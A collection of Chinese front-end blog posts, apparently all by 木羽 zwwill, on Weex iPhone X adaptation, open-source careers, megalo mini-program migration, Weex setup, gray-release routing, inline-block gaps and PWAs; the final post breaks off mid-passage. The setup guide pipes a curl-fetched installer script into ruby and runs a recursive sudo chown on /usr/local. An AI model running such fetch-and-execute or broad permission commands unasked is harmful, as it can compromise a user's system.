iPhone X 环境下，weex.config.env.deviceModel 将返回 iPhone X 的特有标识 'iPhone10,3 or iPhone10,6'，「注意 Xcode 虚拟机拿到的未必是正确的标识」

iPhone 5 - X 的标示

更多关于 iPhone 的信息可参考这里

或者根据 操作系统 & 像素比 & 屏幕尺寸 组合判断是否是「刘海屏」。

留白

在识别到 iPhone X 的标识后，做相应的留白即可，就这么简单，复杂度由你的项目决定，一般情况下，Weex 构建的项目还是很好适配的。

计算属性和 class 绑定

最基本的做法就是使用计算属性得到是否为 iPhone X 标记，在配合 class 绑定的「数组语法」可以轻松实现适配。

<template>
    <div :class="['wrapper', isipx?'w-ipx':'']">
    </div>
</template>
<script>
    export default {
        data () {},
        computed:{
            isipx:function () {
                return weex && (weex.config.env.deviceModel === 'iPhone10,3' || weex.config.env.deviceModel === 'iPhone10,6');
            }
        },
    }
</script>
<style scoped>
    .wrapper{
        /* 正常样式 */
    }
    .w-ipx{
        /* iPhone X 样式 */
    }

</style>

此处需要注意，在初始化时计算属性的作用域内未必每次都能拿到 weex 实例，所以必须做好容错。

mixin 配合 router

如果是使用了 vue-router 可以使用 mixin 函数混入，非常方便。

<template>
    <div :class="['wrapper', isIpxFuc()?'w-ipx':'']">
    </div>
</template>
<script>
    export default {
        data () {}
    }
</script>
<style scoped>
    .wrapper{
        /* 正常样式 */
    }
    .w-ipx{
        /* iPhone X 样式 */
    }
</style>

总结

从最终效果图上看，还可以，至少满足了我的需求。只不过实现起来有些麻烦，Weex 是单页的结构，每个页面都需要单独做适配，如果从 Native 上做处理，就需要有一定的 Native 开发技能，加之良好的架构和协议设计。但是，Native 的处理远没有 UI 处理来的灵活。

总的来讲，Native 层和 UI 层的方法各有利弊，具体实施还需结合项目。

「没有最好的锤子，只有最适合钉子的锤子🔨」

转载请标明出处
作者： 木羽 zwwill
首发地址：#15

• 原文地址：Start your open-source career
• 原文作者：Vincent Voyer
• 译文出自：掘金翻译计划
• 本文永久链接：https://github.com/xitu/gold-miner/blob/master/TODO/start-your-open-source-career.md
• 译者：zwwill 木羽
• 校对者：刘文哲、SeanW20

开启你的开源生涯

今年我做了一次关于如何让开源项目获得成功的演讲，讨论如何通过做好各方面的准备，来确保让我们的开源项目吸引各种各样的贡献，包括提问、撰写文档或更新代码。之后我获得一个反馈信息，「你展示了如何让开源项目成功，这很棒，但我的开源之路究竟该从何入手呢」”。这篇文章就是对这个问题的回答，它解释了如何以及从何开始为开源项目做出贡献，以及如何开源自己的项目。

这里所分享的知识都是有经验可寻的：在 Algolia 中我们已经发布并维护了多个开源项目，时间证明这些项目都是成功的，我也花费了大量的时间来参与和创立新的开源项目。

千里之行始于足下

六年前在 Fasterize （一个网站性能加速器供应商），我职业生涯的关键时刻。我们在 Node.js workers 上遇到了严重的 内存泄露问题。在检查完除 Node.js 源码外的所有代码后，我们并没有发现任何可造成此问题的线索。我们的变通策略是每天重启这些 workers 以释放内存，仅此而已，但我们知道这并不是一个优雅的解决方案，因此我想整体地去了解这个问题。

当我的联合创始人 Stéphane 建议我去看看 Node.js 的源码时，我几乎要笑出来。心想：「如果这里有 bug，最大的可能是我们的，而不是那些创造了革命性服务端框架的工程师们造成的。那好吧，我去看看」。两天后，我的两个针对 Node.js http 层的修复请求被通过合并，同时解决了我们自己的内存泄露问题。

这样做让我信心大增。在我敬重的其他 30 个对 http.js 文件作出贡献的人中，不乏 isaacs （npm 的创造者）这样优秀的开发者，这让我明白，代码就是代码，不管是谁写的。

你是否正在经历开源项目的 bug？深入挖掘，不要停留在你的临时解决方案。你的解决方案会让更多人受益并且获得更多开源贡献。读别人的代码。你可能不会马上修复你的问题，它可能需要一些时间来理解，但是您将学习新的模块、新的语法和不同的编码形式，这都将促使你成为一个开源项目的开发者。

车到山前必有路

Node.js 仓库上的首次贡献的标签

「我毫无头绪」是那些想为开源社区做贡献但又认为自己没有好的灵感或项目可以分享的开发者们共同的槽点。好吧，对此我想说：that’s OK。是有机会做开源贡献的。许多项目已经开始通过标注或标签为初学者列出优秀的贡献。

你可以通过这些网站找到贡献的灵感：Open Source Friday, First Timers Only, Your First PR, CodeTriage, 24 Pull Requests, Up For Grabs 和 Contributor-ninja (列表出自 opensource.guide).

构建一些工具

工具化是一种很好的方式来发布一些有用的东西，而不必过多的考虑一些复杂的问题和 API 设计。您可以为您喜欢的框架或平台发布一个模板，将一些博客文章中的知识和工具使用姿势汇集到这个项目中进行诠释，并准备好实时更新和发布新特性。create-react-app 就是一个很好的例子🌰。

在 GitHub 上有大约 五万九千个模板 库，发布一个并不是难事反而对你有益

现在，你仍然可以像我们给 Atom 构建模版自动化导入插件那样对 Atom 和 Visual Studio Code 进行构建纯 JavaScript 插件。那些在 Atom 或者 Sublime Text 中已经存在了的优秀插件是否还没有出现在你最爱的编辑器中？那就去做一个吧。

你甚至可以为 webpack 或 babel 贡献插件来解决 JavaScript 技术栈的一些特殊用例。

好的一面是，大多数的平台都会说明如何创建和发布插件，所以你不必太过考虑怎么做到这些。

成为新维护者

当你在 GitHub 上浏览项目时，你可能时常会发现或者使用一些被创建者遗弃的项目。他们仍然具有价值，但是很多问题和 PRs 被堆放在仓库中一直没有得到维护者的反馈。此刻你该怎么办？

• 发布一个新命名的分支
• 成为新的维护者

我建议你同时做掉这两点。前者将帮助推进你的项目，而后者将使你和社区受益。

你可能会问，怎样成为新的维护者？发邮件或者在 Twitter 上 @ 现有维护者，并且对他说「你好，我帮你维护这个项目怎么样？」。通常都是行之有效的，并且这是一个很好的方法能让你在一个知名且有价值的项目上开启自己的开源生涯。

示例：去复兴一个遗弃的项目

创建自己的项目

发掘自己项目的最好方法就是关注一些如今还没有很好解决的问题。如果你发现，当你需要一个特定的库来解决你的一个问题而未果时，此刻便是你创建一个开源库的最佳时机。

在我职业生涯中还有另外一个关键时刻。在 Fasterize，我们需要一个快速且轻量级的图片懒加载器来做我们网站性能加速器，它并不是一个 jQuery 插件，而是一个可在其他网站加载并生效的独立项目。我找了很久也没在整个网络上找到现成的库。于是我说「完了，我没找到一个好的项目，我们没法立项了」。

对此，斯蒂芬回应说「好吧，那我们就创造一个」。嗯～～好吧，我开始复制粘贴一个 StackOverflow 上的解决方案 到 JavaScript 文件夹中，创建了一个图片懒加载器 并最终用到了像 Flipkart.com （每月有 2 亿多访问量，印度网站排行第九） 这样的网站上。经过这次成功的实践后，我的思维就被联结到了开源。我突然明白，开源可能是我开发者生涯的另外一部分，而不是一个只有传说和神话的 10x 程序员才胜任的领域。

一个没有很好解决的问题: 以可重用的方式解决它!

时间尤为重要。如果你决定不构建可重用的库，而是在自己的应用程序中内联一些代码，那就错失良机了。可能在某个时候，别人将创建这个本该由你创建的项目。不如即刻从你的应用程序中提取并发布这些可复用模块。

发布，推广，分享

为了确保每个有需要的人都乐意来找到你的模块，你必须：

• 撰写一个良好的 README，并配有版本徽章和知名度指标
• 为项目创建一个专属且精心设计的在线展示网站。可以在 Prettier 中找一些灵感
• 在 StackOverflow 和 GitHub 中找到与你已解决问题的相关提问，并将贴出你的项目作为答案
• 将你的项目投放在 HackerNews, reddit，ProductHunt， Hashnode 或者其他汇集开源项目的社区中
• 在你的新项目中投递关于你的平台的关联信息
• 参加一些讨论会或者做演讲来介绍你的项目

向全世界展示你的新项目

不要害怕在太多网站发布信息，只要你深信自己创造出来的东西是有价值的，那么再多的信息也不为过。总的来说，开源社区是很欢迎分享的。

保持耐心持续迭代

在「知名度指标」（star 数和下载数）上，有些项目会在第一天就飞涨，之后便早早地停止上涨了。另外一些项目会在沉淀一年后成为头条最热项目。相信你的项目会在不久后被别人发掘，如果没有，你也将学会一些东西：可能对于其他人来说它是无用的，但对于你的下一个项目来说它将是你的又一笔财富。

我有很多 star 近似为 0 的项目，比如 mocha-browse，但我从不失望，因为我并没有很高的期望。在项目开始是我就这么想：我发现一个好问题，我尽我所能地去解决它，可能有些人会需要它，也可能没有，那又有什么大不了的。

一个解决方案的两个项目

这是我在做开源中最喜欢的部分。2015年在 Algolia，我们在寻找一种解决方案可以单元测试和冻结我们使用 JSX 输出的 html，以便我们为写 React 组件生成我们的 React UI 库 InstantSearch.js。

由于 JSX 被编译成 function 调用的，因此我们当时的解决方案是编写方法 expect(<Component />).toDeepEqual(<div><span/></div>)，也只是比较两个 function 的调用输出，但是这些调用输出都是复杂的对象树，在运行时可能会输出Expected {-type: ‘span’, …}。输入和输出比较是不可行的，而且开发者在测试时也会抓狂。

为了解决这个问题，我们创建了 algolia/expect-jsx，他让我们可以在单元测试中使用 JSX 字符串做比较，而不是那些不可读的对象树。测试的输入和输出将使用相同的语义。我们并没有到此为止，我们并不是仅仅发布一个库，而是两个库，其中一个是在第一个的基础上提炼出来的。

• algolia/react-element-to-jsx-string 将JSX函数返回转换为 JSX 字符串
• algolia/expect-jsx 用于关联 react-element-to-jsx-string 和断言库 mjackson/expect

通过发布两个共同解决一个问题的模块，你可以使社区受益于你的底层解决方案，这些方案可以应用在许多不同的项目中，还有一些你甚至想不到的应用方式。

比如，react-element-to-jsx-string 在许多其他的期望测试框架中使用，也有使用在像 storybooks/addon-jsx 这类的文档插件上。现在，如果想测试 React 组件的输出结果，使用 Jest 并进行快照测试，在这种情况下就不在需要 expect-jsx 了。

反馈和贡献

这里有很多问题，当然，这是我为了好看而伪造的🙂

一旦你开始了开源的反馈和贡献就要做好开放和乐观的准备。你会得到赞许也会有否定。记住，任何和用户的交流都是一种贡献，尽管这看起来只是抱怨。

首先，要在书面上传达意图或语气并不容易。你可以使用「这很棒、这确实很差劲、我不明白、我很高兴、我很难过」来解释「奇怪了。。」，询问更多的细节并试着重现这个问题，以便更好地理解它是怎么产生的。

一些避免真正抱怨的建议：

• 为了更好地引导用户给予反馈，需要为他们提供一个 ISSUE_TEMPLATE，可以在创建一个新问题时预填模版。
• 尽量减少对新晋贡献者的阻力。要知道，他们可能还没进入角色状态并很乐意向你学习。不要因为缺少分号 ; 就拒绝他们的合并请求，要让他们有安全感。你可以温和的请求他们将其补上，如果这招没用，你可以就直接合并代码，然后自己编写测试和文档。

最后

感谢你的阅读，我希望你会喜欢这篇文章，并能帮你找到你想要帮助或者创建的项目。对开源社区做贡献是扩展你的技能的好方法，对每个开发者来说并不是强制性的体验，而是一个走出你的舒适区的好机会。

我现在很期待你的第一个或下一个开放源码项目，可以在 Twitter 上 @ 我 @vvoyer，我很乐意给你一些建议。

如果你喜欢开源，并且想在公司实践而不是空闲时间，Algolia 已经为 开源 JavaScript 开发者 提供岗位了。

其他你可以会喜欢的资源：

• opensource.guide，学习如何启动和发展你的项目
• Octobox， 将你的 GitHub 通知转成邮件的形式，这是避免因堆积「太多问题」以至于影响关注重要问题的很好的方法
• Probot，GitHub App 可以自动化和改善你的工作流程，比如关闭一些非常陈旧的问题
• Refined GitHub 在很多层面上为 Github UI 提供了令人钦佩的维护经验
• OctoLinker 为在 Github 上浏览别人的代码提供一种很好的体验

感谢 Ivana、Tiphaine、Adrien、Josh、Peter、Raymond、zwwill 木羽、刘文哲、SeanW20 为这篇文章作出的帮助、审查和贡献。

掘金翻译计划 是一个翻译优质互联网技术文章的社区，文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域，想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。

上周，[email protected] 正式发布，优化了数据更新性能的同时，支持了百度智能小程序，着实激动了一把，这“可能”是目前社区里第一个同时支持三端小程序的 vue 小程序框架。下面我们就来试试他的效果。

跟着文档走

官方文档的第一部分就是快速入门，顺藤摸瓜，构建一个 megalo 项目。

安装

$ npm install -g @megalo/cli

构建

$ megalo megalo-yanxuan-demo

打包

以微信小程序为入口

$ npm run dev:wechat

至此一个完整的 megalo 项目就构建好了，接下来我们开始转移源码

转移 weex 项目

我从以前 weex 的 demo 项目，yanxuan-weex-demo，为基础进行转移，转移过程中涉及到很多 weex 特有的 api 的移除和转换。

网络请求

以网络请求为例，weex 是使用的 stream

let stream = weex.requireModule('stream');
export default {
    methods: {
        GET (api, callback) {
            return stream.fetch({
                method: 'GET',
                type: 'json',
                url: api
            }, callback)
        }
    }
}

因为小程序都有提供网络请求的 API，所以此处对此进行改造，如下

export default {
    methods: {
        GET (api, callback) {
            let { platform } = this.$mp || {},
                request = ()=>{}
            switch(platform) {
                case 'wechat':
                    request = wx && wx.request
                break;
                case 'alipay':
                    request = my && my.httpRequest
                break;
                case 'swan':
                    request = swan && swan.request
                break;
                default:
                break;
            }
            request && request({
                url: api,
                success: callback
            })
        }
    }
}

类似的还有 toast、message 等组件的改造。

组件

由于 weex 中的 <recycle-list>、<loading>、<refresh>、<scroller>等组件在小程序组件内是不存在的，所以有三种解决方案

1. 自定义一个同名 vue 组件
2. 找小程序可用的组件替换
3. 实在不行就砍掉需求吧

比如 weex 的 <slider> 组件，可以用小程序的 <swiper> 替换，好在微信、支付宝和百度小程序都有支持。

css

Weex 容器默认的宽度 (viewport) 是 750px，小程序以 750rpx 为基。所以直接将需要的 px 转换成 rpx。

另外自己实现了 1 像素的 wpx，替换成 px 即可。

执行三端效果

最后看下改造效果。同时执行三端

效果比预想的要好，没有过多的适配出错

demo 源码抛给大家供大家把玩。

哪些可以转

只要现有工程没有做以下几件事，理论上，都是可以转移的，只需要稍微更新一下格式

• 使用 megalo 暂不支持的 vue 特性
• 涉及浏览器特有的 dom 操作，window、userAgent、location、getElementById 等
• 使用第三方组件库且该组件库使用了 dom 操作
• 使用了 vue-router，暂不支持

不过，方案都是可以调整的，以上功能在社区均可以找到替代方案。

换之即可。

参考

《Megalo 官方文档》
《megalo -- 网易考拉小程序解决方案》
《Megalo github》

首发：zwwill/blog#29
作者：木羽
转载请标明出处

本不想写此引导性博文的，但个人在创建第一个Demo时确实出现了太多坑，且官方并未给出很好但入门引导。顾撰写此文，希望对初学者有所帮助，不至于出现“从入门到弃门而去”的现象。文中若有不当之处，还请不吝指正。

开发环境

根据你所使用的操作系统、针对的目标平台不同，具体步骤有所不同。如果想同时开发iOS和Android也没问题，你只需要先选一个平台开始，另一个平台的环境搭建只是稍有不同。

• 开发IOS应用需要MacOS系统
• 开发Android应用，MacOS、Linux、Window均可
  下面以IOS开发环境为例进行介绍

必须安装的软件

Homebrew

Homebrew, Mac系统的包管理器，用于安装NodeJS和一些其他必需的工具软件。

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

译注：在Max OS X 10.11（El Capitan)版本中，homebrew在安装软件时可能会碰到/usr/local
目录不可写的权限问题。可以使用下面的命令修复：

$ sudo chown -R `whoami` /usr/local

Node

使用Homebrew来安装Node.js，或直接安装
**Weex目前需要NodeJS 6.0或更高版本。**Homebrew默认安装的是最新版本，一般都满足要求。

$ brew install node

安装完node后建议设置npm镜像以加速后面的过程（或使用科学上网工具）。注意：不要使用cnpm！cnpm安装的模块路径比较奇怪，packager不能正常识别！

$ npm config set registry https://registry.npm.taobao.org --global
$ npm config set disturl https://npm.taobao.org/dist --global

Xcode IDE

如果要支持 iOS 平台则需要配置 iOS 开发环境
安装 Xcode IDE ，启动一次 Xcode ，使 Xcode 自动安装开发者工具和确认使用协议。
安装 cocoaPods。

虽然一般来说命令行工具都是默认安装了，但你最好还是启动Xcode，并在Xcode | Preferences | Locations菜单中检查一下是否装有某个版本的Command Line Tools。Xcode的命令行工具中也包含一些必须的工具，比如git等。

Android Studio

如果要支持 Android 平台则需要配置 Android 开发环境：安装 Android Studio（推荐）或者 Android SDK。打开 AVD Manager ，新建 Android 模拟器并启动 。（如果有安装 Docker ，请关闭 Docker Server 。）
保证Android build-tool的版本为23.0.2。

weex-toolkit

weex-toolkit 是官方提供的一个脚手架命令行工具，你可以使用它进行 Weex 项目的创建，调试以及打包等功能。
使用 npm 安装:

$ npm install -g weex-toolkit

安装成功后，你输入 weex，应该可以看到下面的提示效果：

如果你安装的过程中遇到了问题，比如 permission error 你可以去 weex-toolkit issues 找到解决方法。

weexpack

weexpack 是新一代的weex应用工程和插件工程开发套件，是基于weex快速搭建应用原型的利器。可以创建weex应用工程和插件工程，快速打包 weex 应用并安装到手机运行，还可以创建weex插件模版并发布插件到weex应用市场。 使用weexpack 能够方便的在在weex工程和native工程中安装插件。

$ npm install -g weexpack

准备工程

创建工程

$ weexpack create appName

生成工程的目录如下：

WeexProject 
├── README.md 
├── android.config.json 
├── config.xml 
├── hooks 
│   └── README.md 
├── ios.config.json 
├── package.json 
├── platforms // 平台模版目录 
├── plugins // 插件下载目录 
│   └── README.md 
├── src // 业务代码（we文件）目录
│   └── index.we 
├── start 
├── start.bat 
├── tools 
│   └── webpack.config.plugin.js 
├── web 
│   ├── index.html 
│   ├── index.js 
│   └── js 
│   └── init.js 
└── webpack.config.js

通过 create 命令创建的工程默认不包含 ios 和 android 工程模版，创建完成之后就可以切换到appName目录下并安装依赖。

$ cd appName && npm install

安装 weex 应用模版

添加应用模版，官方提供的模版默认支持 weex bundle 调试和插件机制，注意模版名称均为小写，模版被安装到platforms目录下。
IOS

  $ weexpack platform add ios

Android

  $ weexpack platform add android

安装模版之后，会在工程目录下增加如下模版目录

WeexProject 
├── platforms 
│   ├── ios
│   └── android

Hello Weex

直接上代码吧，一下是初始化的自带Weex代码，位于/src/index.vue

<template>
  <div class="wrapper" @click="update">
    <image :src="logoUrl" class="logo"></image>
    <text class="title">Hello {{target}}</text>
    <text class="desc">Now, let's use vue to build your weex app.</text>
  </div>
</template>

<style>
  .wrapper { align-items: center; margin-top: 120px; }
  .title { padding-top:40px; padding-bottom: 40px; font-size: 48px; }
  .logo { width: 360px; height: 156px; }
  .desc { padding-top: 20px; color:#888; font-size: 24px;}
</style>

<script>
  export default {
    data: {
      logoUrl: 'http://img1.vued.vanthink.cn/vued08aa73a9ab65dcbd360ec54659ada97c.png',
      target: 'World'
    },
    methods: {
      update: function (e) {
        this.target = 'Weex'
        console.log('target:', this.target)
      }
    }
  }
</script>

Weex开发使用了VUE的框架，基本语法详见官方手册

运行看效果

web

执行如下命令

$ npm run build //web工程打包
$ npm run dev & npm run serve 

或者执行单页调试

$ weex src/index.vue

• 如果有EACCES报错，可以使用sudo命令执行。

虚拟机&真机运行

官方给的启动指令为

$ weex run ios 

或者

$ weexpack run ios 

但是如此运行坑较多不说，问题排查起来也是很麻烦，推荐使用xcode运行

xcode运行

这块也是官方未提及的部分
添加Weex中ios工程

选对工程文件，
注意：此处应选择文件WeexDemo.xcworkspace

打开后简单的简单点配置下基本配置，如项目名、识别符、版本、开发者等

你可以选择虚拟机活着真机执行

然后点击执行即可

如果你看到如下界面，说明你的环境和配置已经走通了，后面可以发挥你的真正实力了！

如果你看到的是如下界面，说明还有地方需要打磨

帮你填坑

如果你构建的时候报如下错误，请对号入座解决问题。
1、'ATSDK/ATManager.h' file not found

'ATSDK/ATManager.h' file not found

解决方法：
http://www.jianshu.com/p/88a33c570692

2、could not find gradle wrapper within android sdk

error: could not find gradle wrapper within android sdk. might need to update your android sdk

解决方法：
http://www.jianshu.com/p/5d925413c79f

3、Environment variable $ANDROID_HOME not found

MacOS开发Android app经常会遇到环境的坑，$ANDROID_HOME就是其中之一

解决方法：
#17

4、weex-vue-render/index.js（404 Not Found）

资源报错【weex-vue-render/index.js】（404 Not Found）

解决方法：
http://www.jianshu.com/p/75867f209310

其他问题后续持续更新，欢迎留言或关注专题【WeexHub】

前言

关于灰度发布的意义此处就不进行介绍了，可以先读下这两篇文章

《微服务部署：蓝绿部署、滚动部署、灰度发布、金丝雀发布》

《灰度发布：灰度很简单，发布很复杂》

灰度方案说白了就是，分配一定比例或者筛选有特殊身份的用户，让这部分用户提前试用产品的最新版本，以便尽早发现问题也可将问题的影响最小化。不同公司都有自己独特的灰度流程，此处仅仅讨论灰度方案中的其中一个小环节，用户分配。

灰度流程

粗粒度灰度流程图（存在细节问题）

粗粒度的流程看上去似乎没有多大问题，但如果往细里考究，就会看到，漏洞百出

• 首次访问的时候无 cookie 必然走 online 集群，但如果命中灰度，接下来的异步请求将被分流到 beta 集群，资源错乱
• beta 集群下 cookie 过期后（浏览器自动清理），接下来的异步请求将会从新被灰度分配，如果未命中灰度，接下来的异步请求将被分流到 online 集群，资源错乱
• 失效时间如果设置较短，则达不到灰度的目的

接下来，优化是必然的

几个大的问题

1、同步资源和异步资源的问题

描述：

同一个会话下，由于时机不同，导致同步资源和异步资源流入不同集群，此处假设 online 集群和 beta 集群资源不一致

场景：

1、同步 online 异步 beta：同步资源在无 cookie 条件下流入 online 集群，同步命中灰度设置了 cookie，之后的异步请求将会流入 beta 集群

2、同步 beta 异步 online：同步资源在有 cookie 条件下流入 beta 集群，随后 cookie 失效，之后的异步请求将会流入 online 集群

方案 a) node 中台灰度命中后重新代理回 ngnix 进行分流。 （1-，-2）{1：有效，1-：部分有效，-1：无效，下同}

方案 b) beta 集群资源兼容 online 集群。 （1，-2）

方案 c) beta 集群独立域名（302），使用域名区分 online & beta。 （-1，2）

综合方案 b，c 可解决场景 1，2

2、灰度 cookie 过期或重置问题

描述：

会话期间更新 disconf 配置，或 cookie 自然过期会出现以下场景，导致资源请求错乱问题

场景：

3a、同步请求前设置灰度配置（online -> beta，同步资源同步）

3b、同步请求前关闭灰度配置（beta -> online，同步资源同步）

4a、同步（online）请求后异步请求前重置灰度配置（beta）

4b、同步（beta）请求后异步请求前重置灰度配置（online）

5a、下一个同步请求前重置灰度配置（online -> beta，同步资源不同步）

5b、下一个同步请求前重置灰度配置（beta -> online，同步资源不同步）

方案 a) 同上。（3a，3b，-4a，-4b，-5a，-5b）

方案 b) 同上。（3a，-3b，4a，-4b，5a，-5b）

方案 c) 同上。（-3a，3b，4a，4b，-5a，5b）

综合 b，c 可解决场景 3，4，5

3、灰度 cookie 的有效期时长问题

描述：

假设上方问题都已经解决，那么 cookie 的 maxAge 该设置成多少才比较合理？

• 有效期较短，如 10s

问题：假设用户访问一个页面的时间大于10s，那么，此用户的异步请求将会在 online 和 beta 集群来回切换，虽然解决了资源错乱的问题，用户无感知，但 beta 集群受到的压力将会成倍增大。

同时，从目标用户分配的比例上来看，1天内机会所有的用户都会引流到 beta 集群，这样灰度将失去意义，且带来较大风险

• 有效时间较长，如 1 天或更高

问题：过期时间设置较长，其优点恰恰是有效规避了有效期较短的致命缺点，beta 集群的流入用户比例和服务器压力都比较低。

但是，另外一个方面，如果 beta 集群出错宕机，或者我们主动将 beta 集群下线。就会导致灰度用户在 1 天内的反馈就是 404，且无解，只能等 cookie 过期或者用户主动换浏览器。导致的结果就是，客服电话被打爆，然后甩一句【垃圾网站！】，这是完全不能接受的。

• 适中的有效期，如 10分钟到 1 小时

一般来讲，如果不是生产工具类的网站，用户一次的访问周期不会超过 1 小时，及时用户没有关闭网页的习惯，1 个小时候再次操作也不会对网站造成多大影响。

虽然说，宕机导致的 404 同样无解，但损失可以降到最小

总结

灰度细化流程图

综合来看，方案 b,c 基本可以解决我们的上述问题。

beta 集群资源兼容 online 集群，静态资源长发布到 CDN，所以只需对异步资源进行同步即可。

集群独立域名（302），使用域名区分 online & beta，做域隔离，即使 cookie 失效也可以保证用户的当前会话操作维持在 beta 集群。

另外针对 a 方案，针对不同的业务场景，还有有一定的作用，比如避免出现跨域请求等。

问题是相对的，方案是灵活的。不同类型的系统会用不同的问题，我们能做的就只有针对问题思考解决方案。

如果你有更好的解决方案，还请不吝赐教！拜谢！

转载请标明出处

作者： 木羽 zwwill

首发地址：#25

有基础的朋友可以直接跳过序言，直接看方案

序

display有几种属性：
inline是内联对象，比如<a/> 、 <span/>标签等，可以“堆在一起”显示，宽高由内容决定，不能设置；
block是块对象，比如<div/>、<p/>标签等，要占一整行，但是宽高可以自定义；
为了弥补inline和block的不足，又扩充了inline-block属性；
inline-blcok可以将对象呈递为内联对象，而内容作为块对象呈递。

通俗点讲就是

**“可定宽高地堆在一起”**显示

为什么会有间隙

inline-blcok块之间的距离会被保持父层字体的1/3大小的空间

解决方案

知道了原因，方案就好找了，我把它分为以下几种

<ul>
    <li>item1</li>
    <li>item2</li>
    <li>item3</li>
    <li>item4</li>
    <li>item5</li>
</ul>

1、改变书写结构

<ul>
    <li>item1</li><li>item2</li><li>item3</li><li>item4</li><li>item5</li>
</ul>

<ul>
	<li>
		item1</li><li>
		item2</li><li>
		item3</li><li>
		item4</li><li>
		item5</li>
</ul>

<ul>
	<li>item1</li
	><li>item2</li
	><li>item3</li
	><li>item4</li
	><li>item5</li>
</ul>

<ul>
	<li>item1</li><!--
  --><li>item2</li><!--
  --><li>item3</li><!--
  --><li>item4</li><!--
  --><li>item5</li>
</ul>

以上几种均可以完美的达到去除间隙的作用
但是，从代码的可读性上看，或多或少有一些不足

2、打包工具

使用打包工具或者自写脚本，在上线前将响应HTML代码打包成一行，即可

3、丢失结束标签

<ul>
	<li>item1
	<li>item2
	<li>item3
	<li>item4
	<li>item5
</ul>

此方法虽然可以解决此问题，但是在Doctype为xhtml时将报错，所有方法是否适用须视情况而定。

4、css hack

知道间隙的产生原因和间隙的大小后，动手写一个css hack也是一种很好的方法
1、将父容器的字体大小设置为0，可解决绝大多数浏览器（老版本safari不支持）
2、针对不支持上条的浏览器设置字块或字符间间隙letter-spacing／word-spacing，推荐letter-spacing，因为此属性不会产生负间隙，但需要注意，要在子元素上设置letter-spacing:0
3、如果你转化但是块对象，那需要为低版本浏览器设置inline兼容，不让样式会乱掉
总结以上几点给出以下代码

.parent {
	letter-spacing: -.3333em;
	font-size: 0;
}
.child {
	display: inline;
	display: inline-block;
}

如发现文字有不妥之处，还请不吝赐教

什么是 PWA

Progressive Web App, 简称 PWA，是「渐进式」提升 Web App 体验的一种新方法，能给用户类似原生应用的体验。

「高可靠，高性能，优体验」是 PWA 惯用的形容词，他的另外一个优点就是「渐进式」，开发者可以对照 PWA Checklist 逐步对自己站点进行 PWA 化升级。

PWA 的发展史

2007

苹果前 CEO，Steve Jobs，2007 年 WWDC 上提出了为初代 iPhone 开发应用的概念，当时所介绍的，就是 Web App——可以从主屏直接启动的 Web 应用。

图片来源 appleinsider.com

可惜当时这个理念太过超前，并没有引发太多关注，反而是后来的原生 App 应用更符合当时的市场需求，互联网公司更愿意投入人力在原生 App 的开发上，而忽略了 Web。因此原生 App 的大量出现，占据了移动时代的主流地位，Web 似乎就要被 App 所取代。

2014

随着 Web 技术的发展，时间来到 2014 年， W3C 公布了 Service Worker 的相关草案，其生产环境在 2015 年被 Chrome 支持。随后 PWA 加以完善，相关技术不断升级优化，在用户体验和用户保活两方面的可发掘价值越来越大。

2017

继移动站点喷井式发展之焰末，原生 App 的弊端越发明显，对于它来讲，最大的痛点便是其天生封闭的基因导致的内容无法被索引，相对的 Web 站点可索引的优势开始凸显，与此同时，PWA 遵循 W3C 标准开发的技术，完全开放，能够快速地被各大浏览器厂商支持，市场支持度一夜崛起。

另外一边，App 的推广并不顺利，据调查统计，移动设备用户 80% 的时间花费在了常用的 5 个应用上，16年近一半的美国用户平均每月安装「0」个新 App，用户积极探索新 App 已经成为了过去式，拉新和保活的成本越来越高。

原生 App 的发展遇到了天花板，推广也正向瓶颈一步步靠近，Web 看到了自己的机遇，PWA 以及支撑 PWA 的一系列关键技术应运而生。

2018

2018 年对于 PWA 来说是里程碑的一年，万众瞩目的 Apple 终于在 iOS 11.3 里支持了 Web App Manifest，以及内置的 Safari 11.1 支持了 Service Worker。

与此同时，全球顶级浏览器厂商，Google、Microsoft、Apple 已经全数宣布支持 PWA 技术，这预示着，Web App 将会迎来全新的时代

2019

截至当下的 PWA 支持度

依据 Can I use 的统计（20190515）

• App Manifest 的支持度达到 58.82%
• Service Worker 的支持度达到 90.36%
• Notifications API 的支持度达到 76.12%
• Push API 的支持度达到 78.35%
• Background Sync 的支持度达到 71.35%

Service Worker 以全数「登船」。信息来源于 https://jakearchibald.github.io/isserviceworkerready/#moar

PWA 的核心

PWA 有几个核心功能，分别是「离线，安装，推送」

离线浏览

弱网或离线的情况下依然可以「正常访问」甚至「秒开」，这种体验甚至超过了 app。主要的技术点就是 Service Worker。

Service Worker

SW 类似于我们熟知的 Web Worker，Web Worker 可以脱离主线程，处理一些「脏累」活，干完后通过 postMessage 向主线程汇报工作结果。所以，SW 也是脱离主线程的存在，与 Web Worker 不同的是，SW 具有持久化的能力。

SW 还具备有以下功能和特性：

• 一个独立的 worker 线程，独立于当前网页进程，有自己独立的 worker context。
• 一旦被 install，就永远存在，除非被手动 unregister
• 用到的时候可以直接唤醒，不用的时候自动睡眠
• 可编程拦截代理请求和返回，缓存文件，缓存的文件可以被网页进程取到（包括网络离线状态）
• 离线内容开发者可控
• 能向客户端推送消息
• 不能直接操作 DOM
• 必须在 HTTPS 环境下才能工作
• 异步实现，内部大都是通过 Promise 实现

基于以上我们可以看到 SW 要让缓存做到极致优雅的伟大使命。

Service Worker 的生命周期

想要灵活的使用 SW 功能，就要充分了解他的生命周期，以及各阶段的状态。

以下是 MDN 给出的 SW 的详细生命周期图。

可以看到，SW 的生命周期包含这么几个状态 安装中, 安装后, 激活中, 激活后和废弃

• 安装( installing )：这个状态发生在 Service Worker 注册之后，表示开始安装，触发 install 事件回调指定一些静态资源进行离线缓存。
  install 事件回调中有两个方法：

  • event.waitUntil()：传入一个 Promise 为参数，等到该 Promise 为 resolve 状态为止。

  • self.skipWaiting()：self 是当前 context 的 global 变量，执行该方法表示强制当前处在 waiting 状态的 Service Worker 进入 activate 状态。

• 安装后( installed )：Service Worker 已经完成了安装，并且等待其他的 Service Worker 线程被关闭。

• 激活( activating )：在这个状态下没有被其他的 Service Worker 控制的客户端，允许当前的 worker 完成安装，并且清除了其他的 worker 以及关联的旧缓存资源，等待新的 Service Worker 线程被激活。

  activate 回调中有两个方法：

  • event.waitUntil()：传入一个 Promise 为参数，等到该 Promise 为 resolve 状态为止。

